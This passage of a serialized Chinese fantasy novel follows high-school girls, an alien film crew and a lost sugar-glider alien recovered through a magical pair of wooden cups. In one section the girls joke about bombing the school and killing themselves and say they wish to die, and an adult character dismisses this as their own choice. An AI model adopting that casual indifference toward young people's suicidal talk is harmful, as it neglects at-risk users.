于是,对爬行文明的大量拍摄开始了。影视业再次进入了大跟拍时代!
“怎么好像还挺骄傲的?”刘征兰评价。
“我只是告诉你们,跟拍不是个别的,这是个极其广大的问题。有很多发现了跟拍但最后还是同意继续完成电影的人,《金鸟星系爱情故事》就是其中之一,甚至业界普遍认为这对宇宙最经典的荧幕情侣就是因为制片厂的介入才导致了分手。”律易棋失去了零食,只能喝饮料,“被戏剧性包裹的人们是很难脱身的。”
刘征兰道,“实在不行,我们光脚的不怕穿鞋的,把它们都打一顿。”
律易棋晃着饮料,跟康烁影的零食碰了一下杯:“也可以用折射伪装,让摄像机捕捉不到你,但你的生活也会有点影响,别人眼里你也会一明一暗的。”
刘征兰道:“但是,有个最重要的问题。”
“确实。”颜阎和律易棋点头。
康烁影左右看看,没搞明白:“什么问题?”
“你怎么想?”律易棋问,“你想停止拍摄吗?”
康烁影指着自己:“还有我的事?”
“当然了!这是在拍你!”颜阎瞪大眼睛,“虽然你要是继续拍,我多少有点恨铁不成钢。但制片厂的拍摄,对于很多主演来说是意义重大的。”
刘征兰按住颜阎偷吃的手:“我们不建议你继续,这是对你肖像权的保护。但最终还是由你决定。”
在三人的目光里,康烁影缓缓开口:“我……”
22. 蜜袋鼯之日
天昏地暗,日月无光,风雨欲来!
月考又要来了!
颜阎被紧张刺激的学习氛围绊倒在桌边,窝窝囊囊拄着桌子爬起来,蠕动回椅子上。
这周她正好坐在墙边,学校教室靠走廊都那面墙上没有大窗户,只有一扇贴着屋顶的长方形通气窗。窗户悄咪咪开了一个小小的缝隙,然后一些看不见的东西扒着铁栏杆动了动,“咻——”地滑翔到颜阎头上。
“松鼠尾巴!”牠说,“我来找你玩了!”
颜阎不敢说话,打开草稿本写道:“怎么不跟康烁影玩?”
“她补觉,嫌我吵!”
“以前没认识我的时候你在干嘛?”
“跟地球松鼠玩。但它们智商太低了,玩多了就没意思了。”
“银芯梅呢?”
“伊不是去烧烤店吃烤韭菜,就是剪片子,不好玩。”飞飞顺着颜阎的手臂爬下来,“咱俩来玩五子棋吧。”
康烁影最后还是同意了拍摄。
“我知道这样怪没出息的。但是……”康烁影给她们比划,“就像我说过的,我上了大学之后,就会是特别特别普通的人了。我想当一次主角,我想要一部专门记录我的影片……”
那么计划就换成了如何保证康烁影对拍摄的决定权。
律易棋、颜阎、刘征兰和银芯梅一阵掰扯,从星际法聊到伦理道德,从感情牌说到武力威胁,从“你这样我们拍摄很难进行”到“你信不信我把你头上的花揪了”,总算是谈妥了。
首先不能拍摄隐私(“本来就没拍!一点戏剧性没有,有什么好拍的!”),其次不能扭曲事实(“以小人之心度君子之腹。”),最后,必须尊重康烁影本人的拍摄意愿,如果她不愿意,就立刻停止拍摄。每个月在律易棋的监督下进行一次拍摄内容的审查。
银芯梅说:“你们不觉得这太霸王条款了吗?”
“能有你们私自拍摄更霸王条款?”用电流给了伊好几下的律易棋毫不客气。
“她还不懂影视,我们的决定是为了让成片更好看!这不是她所希望的吗?”
“停止!”颜阎道,“强迫就是强迫。你自称为了康烁影的愿望,实际上就是使她失去了做决定的权力。可能你的确是为了她好,可强迫就是强迫。你可以告知她后果,但决定由她自己来做,无论好坏也是她自己承担。你只不过是扭曲了她的想法,把强迫的理由换成了她更长久的愿望罢了。”
“对。我们刚经历了郁霖雨的事,你别想骗我们。”刘征兰冷冷道,“如果你一直以更长远的目标逼迫别人放弃对当下自由和美好的追求,那个人早晚会崩溃。”
银芯梅显然没学过文科,辩不出下句了。
辩论大胜利!人文社科拯救世界!
而后面的康烁影没有参与这一切,她正被另外两个制片厂员工包围。
飞飞在她身上爬来爬去:“康烁影!我就知道你会继续拍摄!”
圆形机器人——康烁影说它叫球球——绕着康烁影转圈:“不分开万岁!包吃包住的工作也万岁!”
看得出来,在连续跟拍康烁影十四年之后,三个生物多少培养出了感情。
此后,飞飞明目张胆地在学校里飞来飞去,没事就跑来颜阎班上玩,曾经还故意解除折射影像,在讲台上大跳popping,跳完又从窗户飞出去,吓得任课老师大叫一声“老鼠”,然后飞速逃窜出教室。
所有人就趁机睡三分钟,做十个梦,等老师回来再从梦里爬回来上课。
现在班上兴起了一股蜜袋鼯热,艺术家女士把自己画的蜜袋鼯卡通贴纸到处发放。
颜阎凑热闹,决定将飞飞闯入教室那天定为蜜袋鼯之日:“这世上既然有土拨鼠之日,那为什么不能有花枝鼠之日,小白鼠之日,南方大老鼠之日?这些都有了,蜜袋鼯之日自然也要有!”
艺术家和郁霖雨鼓掌:“好!蜜袋鼯之日!”
公冶长戳了戳艺术家:“你们能小点声吗?写作业呢。”
艺术家上去拉住她的手,情真意切地和她对视:“你说蜜袋鼯之日如何!从此以后我们每到今日都要不喝水干吃一块蜜三刀。”
颜阎也趴在桌上,满脸期盼地看着她。
公冶长言简意赅:“我觉得挺烦的。”
热情不怕反对,只怕冷遇。兴高采烈的两人败下阵来,蔫哒哒地走了。颜阎小声跟飞飞说:“这就是我为什么不喜欢公冶长!”她甚至不敢跟艺术家说,因为艺术家和公冶长关系良好。
背后说人坏话是会遭到报应的,颜阎亲身验证了这件事。
熬过了两节英语,一节物理,放学时间终于到了。颜阎带上自己的作业和草稿本,又把笔盖丢了的中性笔揣进兜里,桌上顿时就空了。
她看看桌洞,看看桌面,又摸了摸自己的肩膀,冷汗直冒。
“康烁影!”她一路狂奔到二班,“那小老鼠丢啦!”
飞飞本来单纯是飞到四班来找颜阎玩的,数学课的一盘五子棋后,牠就一直在四班转来转去,没事来颜阎头上揪她短短的马尾,就当报个平安。结果英语课过后,牠就再也没回来过。
颜阎摸遍座位,没找到飞飞。康烁影和刘征兰也没消息,再一问,连银芯梅和球球都找不到牠。
“菲即唧·菲吱失踪了?”雌雄莫辨的藤发人从飞箱的光幕中钻出来,“通讯器确实没反应……”
“你管它叫什么?”
“菲即唧·菲吱。”银芯梅说,“灵肉的名字就是这个格式,你们想叫飞飞也可以。”
康烁影急得团团转,她最近着急上火的频率极高,嘴唇上面起了两个泡:“它是一只小老鼠……万一被人用铁锹打死了,万一被猫吃掉了,万一吃不惯外面的东西饿死了……”
“停止,停止!”颜阎扳住她的肩膀一阵摇晃,“它是一只有智慧的小老鼠,它会使用工具,它还认路呢!”
康烁影快哭了:“可它真的就是一只小老鼠!没有电子设备,没有外星科技,没有我和球球,它要怎么办啊!”
“别急,别急。先回家吃饭睡午觉嗷,回来之后咱们再找。还要月考呢,别急昏头了拿个鸭蛋回家挨打。”
此时,她们口中的小老鼠正窝在一个小木杯中,木杯在巨大的池塘里沉浮。水偶尔漫进杯
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沿,它就会把自己团成一个腰果,在木杯中央瑟瑟发抖。
“有人吗!”它大叫,“老鼠也行!松鼠也可以!救命啊!”
它沦落到如今这般境地,不得不说有自作孽的嫌疑。
它跟着康烁影进过一次呼叫中心之后,就抱着一只木杯不撒手。
“太适合我睡觉了!”它说,“窝在里面特别有安全感!”
木杯是一对的,用枯死的藤蔓绑在一起,像是一对纸杯电话,只不过杯底没有凿孔。
刘征兰和颜阎一直不让制片厂的人进入呼叫中心,觉得不可靠。飞飞保证永不再犯,但是这个杯子要给它。
这个木杯貌似没什么用,是一对纯粹的工艺品,两人大手一挥,把两个都送给它了。但飞飞最后只拿了一个,说两个不好拿。
康烁影给杯子里面塞了棉花和软垫,还用空笔芯夹了一只蚕蛹扔进去。飞飞在杯子里过得有滋有味,愈发胆大妄为。最近干脆让康烁影把杯子放在桌洞里,这样它就可以在白天也睡舒服觉了。
忙于背化学公式的康烁影冷笑:“让我把你藏在桌洞里打扰我自己学习?休想!”
刘征兰更是不可能。她的瞳仁圆润柔和,像头小鹿。性格却不温和。她一冷笑,飞飞就害怕。
最后只有颜阎,只要不跟她说话,她基本不管飞飞干什么。更何况她在班上没朋友,不会有人翻她的桌洞找吃的。对此刘征兰评价:“怎么听起来这么心酸呢?”
总而言之,飞飞的小窝白天在颜阎桌洞里,晚上跟着康烁影回卧室。生活过得有滋有味,比怨气冲天的高中生舒坦多了。
但人不可能永远舒坦,蜜袋鼯也不可能。就在颜阎和艺术家摆弄小飞鼠贴纸的时候,公冶长经过颜阎的座位,商博良也迎面而来。公冶长让了一下,身子靠在颜阎桌子上面,桌子被她向后推了一点。飞飞整个身子连着杯子一块儿从桌洞里被晃出来,滚到地上了。
杯子滚到公冶长脚边,她乜了杯子一眼,细长的眼睛里仿佛有江南的烟雨。
然后她轻飘飘地,游云一般地,顺便给了它一脚。
在空中飞旋的飞飞感觉头上一轻,毛毛凉飕飕的,伸手一摸,耳朵中间的小帽子消失了:“我的通讯器!”
杯子又咕噜咕噜滚到讲台边。好不容易停下来,还没喘口气,它就被人拿了起来。
“什么东西?”有个声音说。飞飞晕乎乎地探出头,认出了颜阎很讨厌的那个,叫罗塞塔的男生。
他的朋友摊手:“不知道。”
“那就扔了吧!”
“万一是别人的东西怎么办?”
“别人又不知道是我们扔的。”
于是飞飞和杯子又被人从窗户丢了出去。经过三四个三百六十度大转体,在地面上磕了一下,在一群男高中生的起哄声中,飞飞终于落进了学校新挖的池塘里。幸好杯口朝上,它只是呛了一点水,没有沦为锦鲤的口粮。
作为一只脆弱的蜜袋鼯,飞飞的精神已经紧张到了极点。在落入水中的那一刻,它终于团起馄饨皮一样的身躯,抱着自己大哭起来:“救命啊——————康烁影——————”
23. 亲不孝
飞飞的事告诉了律易棋,他特别无语,问她们怎么什么事都要找他。但他真的挺闲的,所以把她们的事当支线任务接了。
“又没别的事。”他是这么说的,“而且你们的事也确实挺好玩的。”
三个人心思各异,各回各家。康烁影心煎如烧,刘征兰作为社交挂件安慰她,颜阎虽然也在飞飞失踪案里承担着一定责任,但她主要还是在想月考。
上次月考,她物理考了三十八分。
她没敢跟家里说,靠撒娇耍赖蒙混过去了。
“哎呀!没考好就是没考好,别问具体的了,我下次一定考好!”颜阎一边说一边少吃了两根鸡翅,表示自我惩罚。
奶奶拿乌鸡汤拌饭,抬起无框老花镜后的眼睛看了她一眼:“你每次都这么说,啥时候考好过。”
颜阎卖萌:“那、那、那、那我的历史第一怎么说呢?我还考过历史第一呢!”
“好狗不提当年勇呢还。”
颜阎:“汪汪汪,我是坏狗,我是比格,我要把你们当大骨头啃!”
她一边耍赖,一边用眼睛偷偷看着妈妈。
妈妈今天吃得很开心,既没有不舒服,也没有心情不好。
“妈妈~”颜阎捏着嗓子甜蜜蜜地叫,“你怎么不理我呀?”
妈妈抬头看了她一眼,碗里只有半勺饭,浅浅地扑满碗底:“没有呀。”她的声音轻轻的。
颜阎把带皮的乌鸡肉和鸡翅都夹进妈妈碗里:“吃!多吃身体好!”
妈妈挡住她的筷子:“你自己吃,妈妈吃不下。”
颜阎撅嘴。
妈妈笑了,她把鸡肉推回颜阎碗里:“乖,吃吧。妈妈会自己夹。”
乌鸡脂肪肥厚,炖了几个小时的白肉口感细嫩,一口下去有股微甜的奶味,油而不腻。炖汤更是口味醇厚,鲜香满口。颜阎一个人能连鸡带汤吃半盆。
妈妈给自己盛了碗热腾腾的鸡汤,慢慢啜着。
颜阎装作不经意地抛出了一个问题:“妈妈,我要是考不上大学怎么办?”
奶奶瞪了她一眼:“别说这种话!快呸呸呸!”
“我就问问嘛!”
妈妈虚弱地笑了笑,颜阎能看出,调动脸上的肌肉对她来说是一个体力活:“那我就把你赶出去!”
“真的吗?”颜阎眨巴着眼睛,“那要是我去学文科呢?”
“学文你以后去干什么?你会考公吗?”
颜阎立刻回答:“我打死也不会。”
“那不就是了?”
妈妈不再说话了。奶奶也让颜阎别闹她妈。颜阎又试着讲了两个笑话,从机械舞小老鼠讲到蜜袋鼯之日,妈妈都没有反应,看样子是没有力气再笑。奶奶不懂她的笑点,只让她快点吃饭。
她悻悻宣布:“你们都不跟我玩,我不理你们了!我吃饭!”说完就低头呼噜呼噜狂吃乌鸡。
奶奶家和她自己家特别近,一个住一号楼一个住二号楼,走十步就到了。颜阎牵着妈妈的手,从老人们聚会的樟树底下走过去,冬天稀疏的阳光透过树影,像研碎的姜末。
“妈妈。”颜阎小小声,“我要是真的考不上大学怎么办?”
“那你也是我女儿呀。”
“那我以后没法养你。”
“我不要你养。只要你不让我养就行了。”
“真的?那我以后要做自由职业,到处流浪。”
“那多累呀。”
“我喜欢。”
“你就不能找个地方住下来吗?这样我也好去看你。”
“不用你看我,我会自己回家的。”
“唉。”
颜阎跑上楼梯,打开家门,帮妈妈拉开门:“女王请进门——”
妈妈在门口换了鞋,传上她毛绒绒的灰色拖鞋,把自己扔在沙发上。颜阎去厨房转了一圈,找到桌子上的保温杯,赶紧给妈妈递过来:“女王喝水——”
妈妈摆摆手:“那是给你做的百香果汁,热的。”
“那你也能喝,喝口饮料顺一顺气。”
“太甜了,妈妈不喝。”
颜阎拧上盖子,又跑去餐桌上拿起红色小茶杯,从水壶里倒了点烧开的水,送到妈妈手边:“小心烫哦。”
妈妈把水放在一边:“好了好了,你去写作业吧。”
颜阎跪在沙发上,让自己比妈妈高一点,这样就不会压到她的肩膀。在妈妈警惕的眼神里,她凑上去用自己的脸对着妈妈一顿乱蹭。
“走开走开,麻麻赖赖的。今天早上涂雪花膏了没有?”
“你亲自给我涂的!而且我的脸一点也不麻麻赖赖,你女儿最可爱了!”
“好了别烦我。”
颜阎没走。
妈妈警觉:“你是不是又闯祸了?”
“没有……就是……”
她知道现在说这句话会让妈妈担心,但她还是想得到答案。
“妈妈,我要是去做自由职业,真的不行吗?”
妈妈放松下来,用手捧起颜阎的脸蛋:“妈妈希望你能找个地方安顿下来,做点安稳的工作,有时间和朋友出门玩,没事写写东西。到处跑来跑去多累呀!”
妈妈用拇指按了按她的脸,仿佛她还是刚出生的白团子,像个小豌豆一样躺在她怀里,她一笑,她的女儿也会跟着笑。然而颜阎已经十七岁了,脸型瘦而尖,只能按出一个小小的坑。虽然她一笑依然会笑,但这和她小时候是不一样的。
她也当过年轻女孩,她知道年轻女孩的眼神从来不能用纯洁来形容。大家都有一种肩负着未来的疲惫和冷酷。
她的女儿是其中翘楚,有着子弹一样的眼瞳。
虽然这个回答很温情,但依然是反对的意思。颜阎撅着嘴亲了妈妈一口:“好吧。虽然你不同意,但我还是很爱你。”
“妈妈也爱你。”
“爱我的妈妈,快点喝完水去睡午觉吧!”
“好的好的,下午上学别迟到!”
颜阎从沙发上滚下来,一个灵活的撑地,仿佛蜘蛛侠从百米大楼上跳下来。
这个动作终于逗笑了妈妈,她踹了颜阎屁股一脚,颜阎惨叫一声,捂着胸口栽到地上,妈妈笑得更开心了:“别老逗我笑,我容易岔气!”
颜阎做了个鬼脸,一头钻进自己的小房间。停顿了几秒,她又重新钻出来,把妈妈牌百香果饮料带回房间。
刘征兰也因为月考受到了家里人的鞭策。她次次是第一也不影响家里人打击她。
“你要是不把考试当回事,就来教教你弟!”她妈说。
弟弟像一坨巨大的肥肉摊在沙发上,脸上全是逃避吃饭留下的饭粒和菜汤,身子光溜溜肥嘟嘟,他常蹭的地方有明显的黄色油渍,刘征兰嫌恶地挪开目光。
刘征兰果断放下筷子:“我最近政治学不懂,我回去学习了。”
“站着!把饭吃完!”她妈怒喝,“你弟弟在幼儿园连数数都不会,你做姐姐的也不帮衬一下!”
她弟那是自作孽,跟她有什么关系!
刘征兰面无表情地嚼着丝瓜,恨不得连碗带饭全吸进肚子里,赶紧逃离这张餐桌。
“前几天我生日,你还记得这回事吗!你就送了朵花说了句生日快乐!”
这难道还不够吗?难不成给你买个钻戒?刘征兰夹了口蒜苔炒肉,呃,好老,咬不动。
“你弟弟知道讨我开心!你连句好话都不会说!”
我说了你也不爱听啊。刘征兰低头吃饭。
“你爸下班晚,也不能来帮我。”
他下班早也不会帮你。刘征兰放下筷子。
吃完了!又活过一天!
她捧起碗,用手夹着筷子,嗯嗯嗯应着声,转头就往厨房跑。洗碗的时候她妈也没放过她,等她背着书包要回卧室了,她妈又喝:“站住!吃完饭了都不陪我们说会儿话,你心里有这个家吗!”
刘征兰转过头。她小时候会委屈,长大一点会呛声,如今已经学会了面无表情。这张令同学闻风丧胆的冷脸就是如此练成的:“我回去写作业。”
“什么作业必须中午写,晚上写不行吗?”
“下午交。”
“那你昨天怎么不写。”
“上午布置的。”
她妈又发火了,不锈钢勺子被她摔在地上,菜汤溅满地板:“我说一句话你就有一句等着!”
弟弟在沙发上咯咯笑。他已经五岁了,依然不会自己吃饭,所以每天都在家里吃完再送去幼儿园。
刘征兰干脆不说话了。她现在很想去上学。
她的沉默带给了妈妈无上的快感,妈妈终于点头:“你去吧。不许锁门,一会儿你弟弟要进去玩。”
刘征兰一把抓起书包回到卧室。她卧室的门锁已经坏了。她弟弟喜欢在她忙的时候进门,只要阻拦他,他就会用highC高音震碎她妈的心和她的耳膜。总之,卧室的锁在某天悄无声息地坏掉了。
她的家不是她的家,她的房间也不是她的房间。
康烁影家中战况还好,她家长中午都不回家,往常她一个人把饭热一热,就可以开开心心地偷看电视剧了。
但今天她没那个心情,在屋子里转了几圈,就开始想飞飞。
飞飞,我对不起你。我以后一定把你的小杯子放在我桌洞里。我还天天给你吃新鲜面包虫,三天加一个蚕蛹,最新鲜的生菜叶苹果片都给你!
三个人度过了痛苦的中午,下午上学前不约而同地来到了律易棋的莫妮卡杂货店,趴在柜台上问:“有消息了吗?”
律易棋说:“你们把我当许愿机使?”
当然是没有消息,他和银芯梅修了一中午通讯器都没用,飞飞的通讯器应该是掉了。
康烁影甚至没空欣赏两张美丽的脸,她急得拉着刘征兰在货架之间来回转圈,嘴里念念叨叨。球球刚查完学校监控,没发现飞飞,毕竟它在折射影像中,监控压根看不到。下午它准备开着热成像找一找。
颜阎没有参与她们的散步。她把书包垫在屁股下,缩在角落里背单词。她下午的课和晚自习之间
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还有一节一小时的补习班,这个补习班每次都要默写单词,默错了要罚钱给开课的江老师。她烦不胜烦,但妈妈说什么都要让她去,为了那仨瓜俩枣,她拼上性命狂背,马上就到检验之时了。
“你还倒贴钱?”律易棋特别震撼,“我觉得你需要革命。”
“革命过了,每次都闹一闹。江扒皮说你不默错不就行了。”颜阎冷笑,“谁让我们是小城镇,就她一个拿得出手的英语老师捏?家长上赶着给她送钱她还不要呢,我们能进她的班,□□幸啦~”
银芯梅用手指绕着自己的头发和花瓣,手心支着下巴:“很正常,师资力量少会导致没有选择,老师就会成为一种权力阶级,作威作福。”伊斜睨着律易棋,“和平联合的人上人是不懂的”
“这就是你胡说了,我是掮木的不会不懂,我只是不能忍。而且,我来自进化会,公民身份在婆旦·颇萝旦,不是每一个掮木的智人都来自和平联合的。”
刘征兰和颜阎竖起耳朵。她们觉得进化会这个名字像邪教。
银芯梅坐起来了,伊上下打量着律易棋:“你是基因优选人?”
“是啊。”律易棋比出大拇指,“厉害吧,活的基因优选人。祖上二十三代优质基因,无激素无添加,包食宿和教育到二十五岁。”
银芯梅若有所思地点点头:“我寄生的这个伏人男性曾是玛丽基金会的研究员,因为泄露情报被判处植刑,就是把他的身体带意识全卖给我们了。他的记忆里有进化会的那部分,你们进化会不是破产了吗?”
刘征兰拉住康烁影:“那个植物人是男的?”
银芯梅听到了她们的话,浅笑着指向自己的头发:“我的中间名是古,意思是雌雄同株。只不过我的衣服是男性。”
刘征兰了解康烁影:“长成这样的男的你能放过?”
康烁影淡定地摆摆手:“试过啦。但藤发人的本体是植物,对人的伦理不那么在意,所以我连夜断了念想。”
很好,至少没有到死了都要爱的程度。刘征兰欣慰地拍了拍朋友的肩膀。
律易棋还在试图修通讯器:“的确破产了。”
“怎么搞的?”
“各种原因啦。战线太长、胎内基因改造技术兴起,再加上这一任会长有挥霍资金、骚扰会员、得意忘形等行为,导致会内发生资金链断裂,简称破产。”
“怎么听起来主要是会长的问题。”
“确实主要是他的问题。后来我们被‘圣杯’的创始人塞雷学姐收留,在圣杯里生活到十八岁才各奔东西。是最后一代基因优选人。”律易棋左手掌心向上,右手握拳放在左手中,行礼,“血统高贵。”
颜阎从英语单词里抬起头,问银芯梅:“真这么高贵?”
“假的。”银芯梅的声音柔和,带着伏人特有的优雅,“最后一代的基因由于配选匆忙而出了一点小问题,虽然基因优良,外貌、智慧、身体素质都是人类的极限,但他们没有办法生育了。”
三个高中生交换了一个眼神:“哦,就是变三倍体了?”
律易棋毫不介意,笑得比谁都开心:“哈哈哈哈哈……当着我的面编排我!今天谁也别想白吃白喝了!”
说到白吃白喝,康烁影又开始着急了。她主动付钱买了两盒果冻,祈祷飞飞能赶紧回来,她愿意再买两盒。
下午的课又要开始了。三个人追着匆匆忙忙的人群进校。熬过三四节课,又到了下课时间。重复的每一天毫无不同。
下午颜阎有课,刘征兰自己回家。等她慢悠悠收拾完桌面,拿出一张生物卷子折起来,晃晃荡荡走到夸张教学楼门口时,遥远的身后传来声嘶力竭的呼唤。
“刘征兰————————”
颜阎挂在半墙的栏杆上,见到她回头便疯狂招手:“等我一下!”
她一步四个台阶往下跳,落地就蹬住墙减速,小腿像弹簧压缩般发力,五秒就窜到了刘征兰面前。
“我迟到了!!!“她尖叫,“江扒皮肯定要扣我钱!”
两人对视一眼,刘征兰问:“用呼叫中心?”
“还是你懂我!”
两人躲进一楼走廊,这里有无数办公室和读书室,只是从来不向学生开门,因此人迹罕至。刘征兰撑开书包照着颜阎的头套下去。
颜阎一头栽进呼叫中心,一进门就转头开门,心里默念着:老江的地下室老江的地下室老江的地下室。结果被脚底下的东西绊了一下,差点脸朝下摔破相。
她定睛一看:是飞飞拿走的木杯的双胞胎。
木杯里面,传来了清晰的呼吸声。
颜阎拿起来晃了晃,凑到耳朵边上仔细听。的确是呼吸声,轻轻的,小小的,很均匀,听起来呼吸声的主人已经睡着了。
木杯里面空空如也。
颜阎看了又看,决定先去上课。
她能怎么样?不上课妈妈会发火,木杯会呼吸说出去都没人信,有本事让这杯子把她吃了,她倒落得清静。什么?吃不掉?那就和她一起去上江扒皮的课吧!
24. 木杯电话
飞飞好莫名其妙,它在池塘漂流了将近十个小时,不仅要防范时不时漫进来的水,还要击退在下面顶杯子的锦鲤。当杯子靠近岸边,它还要奋力划走,因为学校里的学生特别讨厌,总想在岸边等着它靠岸,研究一下木杯里的小动物是什么。
刘征兰和颜阎说了,小动物落到男高中生手里就完蛋了!他们的恶毒超乎你的想象!
日暮西垂,飞飞的眼皮上下打架。它真心觉得自己很可怜。被人踢,被人扔,现在还要被人淹死了。人类最坏了!
在无尽的委屈中,它战战兢兢地睡着了。
梦里,康烁影把它打捞上来,球球围着它转圈,银芯梅跪在地上忏悔:“我错了,尊敬的菲即唧·菲吱殿下,没有关注你的安危是我的错,从今往后,我愿意让你成为剪片员!”
康烁影和她的两个新朋友站在一边,搓搓手,眨眨眼,用谄媚的眼神看着它,祈求它的原谅。飞飞宽容地挥挥手:“你们只要开口,我就原谅你们。”
三人感激地开口:
“这么几个单词就记不住了?”
飞飞怀疑自己的耳朵:“什么?”
“不想学滚出去,想上我课的人多的是,不差你们几个。”
“这个词都不认识?你们老师怎么教的?”
“这个词的意思是形式主义,我给你们延伸一下……延伸三个怎么了?用得着你们给我挑刺?”
“就算你们夸我我也不会给你们减单词的。”
“是吧?今天的衣服好看吧?我大学同学说土。”
“她?她就是个……怎么说?绿茶!”
“柳令全?你怎么错这么多,身材这么胖了脑子还不聪明,你是猪啊!小心以后找不到男朋友。”
“我没男朋友怎么啦?我为什么一定要谈恋爱啊……”
好吵!好尖利的嗓音,好天马行空的语言,好突兀的话题延伸,好双标的言论!
飞飞从折磨中醒过来,感觉梦里的发言近在咫尺,这种声音令它想起了自己遇到过的许多不讲理领导。它痛苦地缩起来,感觉自己做了个恐怖的噩梦。
然而噩梦悄悄跟进了现实。刚才那个尖利的声音从它身下传来:“颜阎,只错了两个,不用罚钱,算你命好!”
飞飞立刻跳了起来:“哇!!!”
连木杯都不安全了吗!
它仔细研究了一下这个杯子。浑然一体,毫无科技痕迹,底部没有通讯器和隧道,那声音是从哪里来的呢?
尖利的声音响了半天,它本来就不好听,一起伏,简直呕哑嘲哳。虽然声音不大,还是把它听到捂着耳朵打滚。杯子摇摇晃晃,漫进来好多水,都积到它身子的一半了。它又忙着把水舀出去。
舀了一阵,杯子里的声音消失了。它警觉地停下来,把耳朵贴在杯底,试图找到一些小小的线索。
杯底很安静,它只能听到周围水波摇动的声音和鱼吐泡泡的啵啵声。
就在它以为静默将一直持续时,杯子里窸窸窣窣了一阵,似乎是纸张的声音,然后是布料摩擦,再是呼吸,紧接着,有个人深吸了一口气:
“两个小娃娃呀,正在打电话呀!”
恐怖的音浪将飞飞彻底击倒,它的耳朵里好像有七百个颜阎举着大喇叭欢快地唱歌跳舞,直到世界的尽头。
一根完美的笔直木棍伸了过来,拦住杯子的去路,悄悄把它拨向岸边。
歌声还在继续:“喂喂喂!你在哪里呀?”
木杯终于靠岸了!刘征兰和康烁影击掌相庆。虽然因为默契不足没击到,但这这不影响康烁影的快乐,她一把捞起木杯,把里面湿漉漉的软垫和摊成馄饨皮的飞飞倒出来。
木杯空了,刘征兰拿过它,对着里面回复:“哎哎哎,我在幼儿园!”
木杯两端莫名其妙大笑起来。
康烁影把飞飞拢在手里,让它汲取一点自己的暖意。飞飞呜呜地抽噎着,两只大眼睛黯淡无光,嘴里不停重复:“我再也不躲在颜阎班上了……我再也不躲在颜阎班上了!”
刘征兰钻进呼叫中心,开门把颜阎接回学校,省去了来回的时间。两个人坐在水池边嘻嘻哈哈地对唱:“你在哪里呀?”“我在高中呀。”“你在做什么?”“我在受折磨。”“去炸学校吧。”“你去我就去。”“炸完就自杀。”“好呀好呀。”
话题一路朝着危险的地方狂奔,康烁影把飞飞顶到头上,两只手捏住她俩的嘴:“少说!”
两个人比ok,康烁影一松开,两个人就鬼鬼祟祟跑远了一点,继续说,时不时发出一阵诡异的奸笑。
飞飞找回来了,银芯梅也很惊喜。伊用手去接蜜袋鼯的身体,一碰到它粉色的腹部,它就嚎:“冰!冰!手冰!”
银芯梅语调平平地骂牠:“你还挑上了。”
律易棋把手搓热,从康烁影的手里把它接过来。飞飞暖暖和和贴着他的皮肤,嘿嘿直笑,边笑边往他袖子里钻,伤疤还没好就把痛给忘了。
律易棋把这张小馄饨皮塞进衣领里,贴肉暖着:“怎么找到的?”
“不知道。”颜阎从门框里探出头,笑嘻嘻甜滋滋地拿了颗卤蛋。她没吃晚饭,快饿晕了,“这个杯子是一对的。飞飞拿了一个,另一个在呼叫中心里。我抄近路时听到里面有呼噜声,仔细一听就觉得不对,感觉是飞飞。所以把它带去上课,一下课就往里面喊了一声,让康烁影循着声音去找,最后在学校的水池子里找着了。”
律易棋拎着杯子检查了一阵,真没看出来什么别的。杯子是从一整块木料上挖出来的,做工粗糙,没有任何拼接的痕迹,自然也没有科技植入的余地。他用各种设备扫了一遍,也没有后天生物改造的痕迹。先天基因?藤发人科技?不应该啊。
“你看好没有?看好我们就拿走了。”刘征兰说,“呼叫中心出品,不许外借。”
看不出什么的
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律易棋把这东西还给她们。三个人火急火燎地回去上课了。
自从律易棋认识她们以来,她们没有一刻是不着急的。去得急匆匆,回得乐癫癫,刑满出狱都不见得有这么高兴。刘征兰和颜阎偶尔还会回得冷冰冰,问她们放学怎么不高兴,她们就冷笑:“明天还得上,等我退学了我就高兴了。”
“你俩就不能活到毕业?”
“不行,想死。”
他习惯了。谈论死对于高中生来说,比谈论生平常多了。她们没有别的出口,只能幻想解脱以求慰藉。退学太不切实际,相比之下,死倒轻松。
颜阎曾绘声绘色地描述:“真的!死好呀!”她一说到死,就容光焕发,“我成绩差学不了文,学理又不如死了。毕业后也融入不了社会,只能饿死在出租屋。现在死就能跳过一切过程,领先十年。”
刘征兰笑,见眉不见眼的。她说到死就低下眼睛,带着一股莫名的放松:“我现在没死,主要是怕疼。死的过程是很痛苦的,要是死没有过程就好了。”
颜阎也笑:“如果死亡是个按钮,我现在就按。”
当时的康烁影点头应和,没有说话,只是笑。
那个场景有点诡异,但律易棋无所谓。这是她们自己的人生,她们怎么选择都是她们自己的事。
从回忆中抽离,律易棋意识到银芯梅已经开启折射伪装去剪片子了。飞飞窝在他脖子里,呼吸均匀地睡着。球球一路飞过去跟拍康烁影,店里只有他一个人醒着,正好适合看训传!
他打开训传,漫无目的地翻了一阵。从伏人音乐家羽赫的个人独奏会,到斩将夺旗的最新赛事,再到尤里卡时刻的庆祝会和柯玛社会最近的电信号上瘾数据。
他的视线落在一条新闻上。
《玛丽基金会连续失窃?!从防盗系统重大漏洞看到基金会的颓势》
好八卦小报的标题。他点进去看了一眼,报道内容从基金会连续失窃说到基金会的公告漏洞,再一路扯到基金会内部的资金运转和政治影响力。如果律易棋今年还是二十五岁,他就被骗到了。可惜他已经加入掮木许多年,心里明白基金会的运转非常健康。
吸引他的不是这种低端键政,而是玛丽基金会的失窃。
玛丽基金会在三个月前连续丢失了三件重要物品,分别是灵肉创造者弓粟的电子意识模型,博物馆内的一整套老式设备(属于弓粟)和一对木杯。
一对木杯。
木杯的照片被放大摆在一个很显眼的地方。
律易棋立刻凝视照片,照片在他眼前放大,出现棱角,呈现出浮空的立体模型姿态。他用触控手套翻了翻,确定了这就是飞飞当窝的那个木杯。
弓粟虽然创造出了灵肉这个种族,但她毕竟是上千年前的人,她的实验设备和电子模型出逃无法带来特别大的影响,但那个木杯不同。
它属于空想文明,是宇宙上一个时代的遗产。
25. 空想文明
宇宙中有无数星球,诞生过无数的文明。但文明的诞生与灭亡放在宇宙的尺度中,就如同昙花一现。无数的爬行文明直到毁灭都没能走出星系,也曾有行走文明巡视宇宙,却找不到其他生命,绝望地发现自己是孤独的旅人。
在无声的宇宙里,有一只猴子打出了莎士比亚全集,同时,有几个星球的文明恰好发展到可以跨星球旅行。巧的不能再巧的是,这几个文明相遇了。它们发现了更多的文明恰好在这个时间诞生,可以和它们交流,于是星际文明诞生了。
宇宙只是无声,但并不寂静。
这种以星球为单位进行文明交流,并且包含多种文明的时期,就叫文明爆发期。
